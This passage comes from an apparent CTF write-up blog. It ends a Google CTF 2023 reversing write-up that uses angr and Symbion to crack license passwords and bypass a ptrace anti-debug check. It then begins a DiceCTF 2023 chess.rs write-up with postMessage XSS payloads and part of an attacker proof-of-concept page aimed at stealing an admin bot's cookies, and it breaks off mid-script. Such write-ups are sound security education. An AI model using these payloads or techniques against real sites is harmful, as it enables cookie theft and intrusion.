<div class="highlight"><pre><span></span><code><span class="n">state</span> <span class="o">=</span> <span class="n">simgr</span><span class="o">.</span><span class="n">found</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">concrete_vals</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">svar</span> <span class="ow">in</span> <span class="n">symbolic_vars</span><span class="p">:</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">solver</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span><span class="n">svar</span><span class="p">,</span> <span class="n">cast_to</span><span class="o">=</span><span class="nb">bytes</span><span class="p">)</span>
<span class="n">concrete_vals</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
</code></pre></div>
<p>The values we get back are the 32-bit integers after substitution of
the password characters with the indices of the character dictionary.
In order to get the actual password, we need to substitute it again,
split it into chunks of 5, and add <code>-</code> between the chunks:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">chunks</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">l</span><span class="p">),</span> <span class="n">n</span><span class="p">):</span>
<span class="k">yield</span> <span class="n">l</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span> <span class="o">+</span> <span class="n">n</span><span class="p">]</span>
<span class="n">lookup</span> <span class="o">=</span> <span class="s1">'23456789ABCDEFGHJKLMNPQRSTUVWXYZ'</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">chunks</span><span class="p">(</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">lookup</span><span class="p">[</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">concrete_vals</span><span class="p">]),</span> <span class="mi">5</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'-'</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
</code></pre></div>
<p>Which gives us the following for the first username in the list we have
to crack (<code>gdwAnDgwbRVnrJvEqzvs</code>):</p>
<div class="highlight"><pre><span></span><code>GL3EX-E3WHZ-EJ57M-UEPYX-62PK7
</code></pre></div>
<h3>Anti-Debug</h3>
<p>Of course, we go ahead and try if that actually works and... it does
not? After some trial and error, we figured out that the password does
work - if we run the binary using the gdbserver. This means we are
dealing with some anti-debugging and made us remember the syscall we
found before. We guessed that this was the <code>ptrace</code> syscall using the
well known <code>ptrace(PTRACE_TRACEME, 0, 1, 0)</code> trick, since this will
fail if the program is already being ptraced (like when we run it in
GDB). While we could just patch that check out, we decided it would be
nice to go ahead and just use the existing angr/Symbion/avatar2 flow
to intercept ptrace/change the return value. So instead of exploring
to the location from where we want to do symbolic execution, we explore
to the location of the <code>ptrace</code> call and change the return value. To
this end, we set the return register to 0, and then tell Symbion to
concretize the changes (i.e. copying them to the GDB target):</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Exploring until after the ptrace call</span>
<span class="n">entry_state</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">entry_state</span><span class="p">()</span>
<span class="n">entry_state</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">angr</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">SYMBION_SYNC_CLE</span><span class="p">)</span>
<span class="n">entry_state</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">angr</span><span class="o">.</span><span class="n">options</span><span class="o">.</span><span class="n">SYMBION_KEEP_STUBS_ON_SYNC</span><span class="p">)</span>
<span class="n">target_addr</span> <span class="o">=</span> <span class="n">BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0xaf79</span>
<span class="n">simgr</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">simgr</span><span class="p">(</span><span class="n">entry_state</span><span class="p">)</span>
<span class="n">simgr</span><span class="o">.</span><span class="n">use_technique</span><span class="p">(</span><span class="n">Symbion</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="p">[</span><span class="n">target_addr</span><span class="p">]))</span>
<span class="n">exploration</span> <span class="o">=</span> <span class="n">simgr</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
<span class="c1"># Exploring until the location where we want to do symbolic execution</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">exploration</span><span class="o">.</span><span class="n">found</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">state</span><span class="o">.</span><span class="n">regs</span><span class="o">.</span><span class="n">eax</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">target_addr</span> <span class="o">=</span> <span class="n">BASE_ADDRESS</span> <span class="o">+</span> <span class="mh">0x2747</span>
<span class="n">simgr</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">factory</span><span class="o">.</span><span class="n">simgr</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
<span class="n">simgr</span><span class="o">.</span><span class="n">use_technique</span><span class="p">(</span><span class="n">Symbion</span><span class="p">(</span><span class="n">find</span><span class="o">=</span><span class="p">[</span><span class="n">target_addr</span><span class="p">],</span>
<span class="n">register_concretize</span><span class="o">=</span><span class="p">[(</span><span class="s1">'eax'</span><span class="p">,</span> <span class="n">state</span><span class="o">.</span><span class="n">regs</span><span class="o">.</span><span class="n">eax</span><span class="p">)]))</span>
<span class="n">exploration</span> <span class="o">=</span> <span class="n">simgr</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</code></pre></div>
<p>After that, we continue our symbolic execution as before. After
evaluating it, we now get this password for the first username:</p>
<div class="highlight"><pre><span></span><code><span class="mf">2</span><span class="n">UTQS</span><span class="o">-</span><span class="n">QFE2D</span><span class="o">-</span><span class="n">Z3P9K</span><span class="o">-</span><span class="mf">6</span><span class="n">CFM9</span><span class="o">-</span><span class="n">TRRH5</span>
</code></pre></div>
<p>We try it out and it works!</p>
<p><img alt="Image showing a successful login" src="/images/google-ctf-2023/oldschool-win.png"></p>
<p>Now the challenge requires us to do this for 49 more usernames, then
concatenate everything together and hash it, to give us the flag. We
didn't automate this process as the terminal interface was a bit of a
pain to automate (we were too lazy), so we just sat down and did it 49
times manually.</p>
<p>While this is a rather anticlimactic ending for a writeup (the flag
is just a hash, so there's really no funny or cool note to end this
on), it shows just how useful symbolic execution can be when applied
to reversing challenges. This rings especially true, when the challenge
requires a more complex state that cannot easily be handled with angr,
mirroring conditions of real-world programs where the part you want to
analyze is often very deep down in the program. Our full angr script
solution can be found <a href="https://gitlab.w0y.at/lounge/meetings/-/blob/main/2023-07-03/oldschool/solve.py">here</a>.</p>DiceCTF 2023 - chess.rs2023-02-05T00:00:00+01:002024-02-05T19:10:11+01:000x6fe1be2tag:w0y.at,2023-02-05:/writeup/2023/02/05/dicectf-2023-chessrs.html<p>🚀 blazingfast rust wasm chess 🚀</p><h3>TL;DR</h3>
<p>chess.rs is a pwn(/web) challenge using Rust with WebAssembly. The goal is to extract the cookies of the admin browser bot.</p>
<p>We have a rust webserver providing two pages <em>index.html</em> (graphical frontend) and <em>engine.html</em> ("backend", runs the wasm logic). <em>index.html</em> loads <em>engine.html</em> as an iframe. They send messages through <code>.postMessage</code> and receive them through the <code>window.onmessage</code> event listener.</p>
<p>There is a hidden parameter in the init function on <em>engine.html</em> that allows setting a custom board position via FEN. If this parameter is used a UAF (use after free) is triggered on successive init calls with the same id which allows leaking values in the heap. We can use this vulnerability to leak the original game id.</p>
<p>This can be used to hijack the communication with <em>index.html</em> and cause an XSS with a malicious <code>error</code> message.</p>
<p>We can exploit this by creating a malicious website that opens <a href="https://chessrs.mc.ax">chessrs.mc.ax</a> with <code>window.open</code>. After that ,we can communicate with <em>index.html</em> and <em>engine.html</em> through <code>.postMessage</code> to leak the id and cause and XSS, which leaks the <code>SameSite=Lax</code> Cookies of the adminbot. </p>
<p>The whole exploit is at the end of the page.</p>
<h3>Introduction</h3>
<p>chess.rs is a pwn (and web) challenge which was ranked in the middle of the DiceCTF 2023 pwn challenges. The following description was given</p>
<blockquote>
<p>🚀 blazingfast rust wasm chess 🚀</p>
<p>(the flag is in the admin bot's cookie)</p>
<p><a href="https://chessrs.mc.ax">chessrs.mc.ax</a></p>
<p><a href="https://adminbot.mc.ax/pwn-chessrs">Admin Bot</a></p>
</blockquote>
<p>The Information: "(the flag is in the admin bot's cookie)", made us guess that we will probably need to find an XSS on the website. But first, let us look at the websites.</p>
<p>Visiting <a href="https://chessrs.mc.ax">chessrs.mc.ax</a> gave us the following website:</p>
<p><img alt="chessrs.mc.ax" src="/images/dicectf2023/chessrs.png"></p>
<p>It's a chessboard that allows you to play chess with yourself, after trying different stuff we can conclude:</p>
<ul>
<li>Only legal moves are allowed (even castling, en passant)</li>
<li>checkmate isn't shown, but the losing site isn't allowed to make any moves</li>
<li>Move history is tracked in the white box to the right</li>
<li>pressing restart reloads the pages </li>
</ul>
<p>Looking at the traffic we see that moves aren't sent to a remote server, therefore everything is handled client-side, this also explains white the board is reset even after a soft reload.</p>
<p><img alt="chessrs.mc.ax" src="/images/dicectf2023/traffic.png"></p>
<p>and <a href="https://adminbot.mc.ax/pwn-chessrs">Admin Bot</a> gave us this form:</p>
<p><img alt="chessrs.mc.ax" src="/images/dicectf2023/adminbot.png"></p>
<p>which visits any website with these parameters:</p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
Host: 0x6fe1be2.requestcatcher.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5412.0 Safari/537.36
</code></pre></div>
<p>Sadly we can't conclude what browser engine is used through User-Agent :,).</p>
<h3>Source Code</h3>
<p>First, we look at the file structure:</p>
<div class="highlight"><pre><span></span><code>.:
build.sh
Dockerfile
./app:
Cargo.lock
Cargo.toml
./app/src:
main.rs
./app/static:
engine.html
index.html
./app/static/js:
chess_wasm_bg.wasm
chess_wasm.js
game.js
./app/static/mp3:
...
./app/static/img:
...
./app/static/css:
...
./chess-wasm:
Cargo.lock
Cargo.toml
./chess-wasm/src:
game.rs
handler.rs
lib.rs
</code></pre></div>
<p>Looking at build.sh we see that the rust webserver runs in <em>./app</em> and <em>./chess-wasm</em> hold the chess logic in rust, which is compiled into web assembly and served to the client.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/sh</span>
<span class="c1"># use if you want to build everything and test locally</span>
<span class="nb">cd</span><span class="w"> </span>chess-wasm<span class="w"> </span><span class="o">&&</span><span class="w"> </span>wasm-pack<span class="w"> </span>build<span class="w"> </span>--no-typescript<span class="w"> </span>--release<span class="w"> </span>--target<span class="w"> </span>web<span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>..
<span class="nb">cd</span><span class="w"> </span>app<span class="w"> </span><span class="o">&&</span><span class="w"> </span>cargo<span class="w"> </span>build<span class="w"> </span>--release<span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>..
cp<span class="w"> </span>chess-wasm/pkg/chess_wasm*<span class="w"> </span>app/static/js/
<span class="nb">cd</span><span class="w"> </span>app<span class="w"> </span><span class="o">&&</span><span class="w"> </span>cargo<span class="w"> </span>run<span class="w"> </span>--release<span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>..
</code></pre></div>
<p>we also recognize that the actual web server is <em>./app/src/main.rs</em>.</p>
<div class="highlight"><pre><span></span><code><span class="cp">#[tokio::main]</span>
<span class="k">async</span><span class="w"> </span><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="o">..</span><span class="p">.</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">spa</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SpaRouter</span>::<span class="n">new</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span><span class="w"> </span><span class="s">"static"</span><span class="p">);</span>
<span class="w"> </span><span class="o">..</span><span class="p">.</span>
<span class="p">}</span>
</code></pre></div>
<p>By looking at the webserver code we realise that all resources in <em>./app/static</em> are served through the web server, which proves that everything is truly done on the client.</p>
<p>Let us take a closer look at the served resources on the website:</p>
<div class="highlight"><pre><span></span><code>./app/static:
engine.html
index.html
./app/static/js:
chess_wasm_bg.wasm
chess_wasm.js
game.js
</code></pre></div>
<p>There are only two .html pages:</p>
<p><em>engine.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!DOCTYPE html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">"module"</span><span class="p">></span>
<span class="w"> </span><span class="k">import</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="kr">as</span><span class="w"> </span><span class="nx">chess</span><span class="w"> </span><span class="kr">from</span><span class="w"> </span><span class="s2">"/js/chess_wasm.js"</span><span class="p">;</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">chess</span><span class="p">.</span><span class="k">default</span><span class="p">();</span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="ow">typeof</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="s2">"object"</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nx">chess</span><span class="p">.</span><span class="nx">handle</span><span class="p">(</span><span class="nb">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">)),</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">};</span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">top</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s2">"ready"</span><span class="p">,</span><span class="w"> </span><span class="s2">"*"</span><span class="p">);</span>
<span class="w"> </span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>and <em>index.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!DOCTYPE html></span>
<span class="p"><</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">"en"</span><span class="p">></span>
<span class="p"><</span><span class="nt">head</span><span class="p">></span>
...
<span class="p"></</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
...
<span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"/js/game.js"</span> <span class="na">type</span><span class="o">=</span><span class="s">"module"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"/engine.html"</span> <span class="na">id</span><span class="o">=</span><span class="s">"engine"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>One interesting discovery is that <em>index.html</em> includes <em>engine.html</em> as an iframe. In addition, the Rust WebAssembly Code is only imported by <em>engine.html</em>. <em>index.html</em> imports <em>game.js</em>.</p>
<p><em>game.js</em></p>
<div class="highlight"><pre><span></span><code><span class="c1">// sorry for the spaghetti</span>
<span class="p">...</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">engine</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#engine"</span><span class="p">)[</span><span class="mf">0</span><span class="p">].</span><span class="nx">contentWindow</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">alphabet</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[...</span><span class="nx">crypto</span><span class="p">.</span><span class="nx">getRandomValues</span><span class="p">(</span><span class="ow">new</span><span class="w"> </span><span class="nb">Uint8Array</span><span class="p">(</span><span class="mf">16</span><span class="p">))].</span><span class="nx">map</span><span class="p">(</span><span class="nx">v</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">alphabet</span><span class="p">[</span><span class="nx">v</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="nx">alphabet</span><span class="p">.</span><span class="nx">length</span><span class="p">]).</span><span class="nx">join</span><span class="p">(</span><span class="s2">""</span><span class="p">);</span>
<span class="p">...</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">send</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">engine</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="p">...</span><span class="nx">msg</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="p">);</span>
<span class="p">...</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"ready"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s2">"init"</span><span class="p">});</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">id</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="nx">id</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"init"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">board</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Chessboard</span><span class="p">(</span><span class="s1">'chessboard'</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="nx">onDragStart</span><span class="o">:</span><span class="w"> </span><span class="p">(</span><span class="nx">source</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">...,</span>
<span class="w"> </span><span class="nx">onDrop</span><span class="o">:</span><span class="w"> </span><span class="p">(</span><span class="nx">source</span><span class="p">,</span><span class="w"> </span><span class="nx">target</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s2">"play_move"</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">action</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span>
<span class="w"> </span><span class="nx">onMouseoutSquare</span><span class="o">:</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{...},</span>
<span class="w"> </span><span class="nx">onMouseoverSquare</span><span class="o">:</span><span class="w"> </span><span class="p">(</span><span class="nx">pos</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{...},</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s2">"get_state"</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"play_move"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s2">"get_state"</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"error"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#error"</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s2">"get_state"</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"get_state"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">state</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
<span class="w"> </span><span class="nx">board</span><span class="p">.</span><span class="nx">position</span><span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">current_fen</span><span class="p">,</span><span class="w"> </span><span class="kc">true</span><span class="p">);</span>
<span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#history"</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">history</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">v</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="sb">`</span><span class="si">${</span><span class="nx">i</span><span class="o">+</span><span class="mf">1</span><span class="si">}</span><span class="sb">. </span><span class="si">${</span><span class="nx">v</span><span class="si">}</span><span class="sb">`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="s2">"\n"</span><span class="p">));</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">};</span>
</code></pre></div>
<p>This code is very important. We see that all communication to the chess logic happens through the <code><iframe src="engine.html" /></code> and the <code>window.onmessage</code> event listener. </p>
<p>Data is sent to the engine through <code>const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);</code> using the <code>postMessage</code> interface. Whereas Request always follow this schema </p>
<div class="highlight"><pre><span></span><code>{
// securely generated on startup
id: '...',
type: 'init' | 'get_state' | 'play_move',
// optional
// depends on type
data: '...'
}
</code></pre></div>
<p>All responses are captured by <code>window.onmessage</code> and follow this schema:</p>
<div class="highlight"><pre><span></span><code>{
...
data: 'ready' | {
type: 'play_move' | 'get_state' | 'error',
// optional
data: '...' // depends on type
}
}
</code></pre></div>
<p>Another important discovery is that messages from the iframe directly get written into the open page (for type <code>error</code> or <code>get_state</code>), which makes it possible to create an XSS if we manage to somehow hijack this communication interface. The only check preventing us from directly triggering the <code>window.onmessage</code> event listener is this check: <code>if (e.data.id !== id) return;</code>.</p>
<h3>XSS PoC</h3>
<p>Using the know information we can already try to create some PoC (Proof of concepts). If we open Developer Tools inside the browser and set a breakpoint right after the <code>id</code> we can easily extract it and use it to play around with the engine. Alternatively, we can host the chess.rs ourselves and hardcode the <code>id</code>.</p>
<p>Now we use the following Code to directly communicate with the engine:</p>
<div class="highlight"><pre><span></span><code><span class="nx">$</span><span class="p">(</span><span class="s2">"#engine"</span><span class="p">)[</span><span class="mf">0</span><span class="p">].</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'<img src=x onerror=alert(1)>'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="s1">'0x6fe1be20c0ffee'</span><span class="p">},</span><span class="w"> </span><span class="s1">'http://192.168.56.10:1337'</span><span class="p">);</span>
</code></pre></div>
<p>And tada it works.</p>
<p><img alt="chessrs.mc.ax" src="/images/dicectf2023/xss_poc.png"></p>
<p>It is also possible to just communicate directly with index.</p>
<div class="highlight"><pre><span></span><code><span class="nb">window</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'<img src=x onerror=alert(1)>'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="s1">'0x6fe1be20c0ffee'</span><span class="p">});</span><span class="w"> </span>
</code></pre></div>
<h3>Exploit Interface</h3>
<p>After creating and finding this PoC we needed to find a way to send messages to the index and engine. As we found out earlier there wasn't an GET Request or something else we could use for this mission.</p>
<p>We decided that iframes are the way to go, they allow us to open the website and directly communicate with it, these options seemed too good to be true (and turned out to be) and we set forth to create another PoC.</p>
<p><em>poc.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"http://192.168.56.10:1337/"</span> <span class="na">id</span><span class="o">=</span><span class="s">"index"</span> <span class="na">width</span><span class="o">=</span><span class="s">"2000px"</span> <span class="na">height</span><span class="o">=</span><span class="s">"1000px"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span><span class="p">></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"index"</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"http://192.168.56.10:1337/"</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be20c0ffee'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">send</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="p">...</span><span class="nx">msg</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
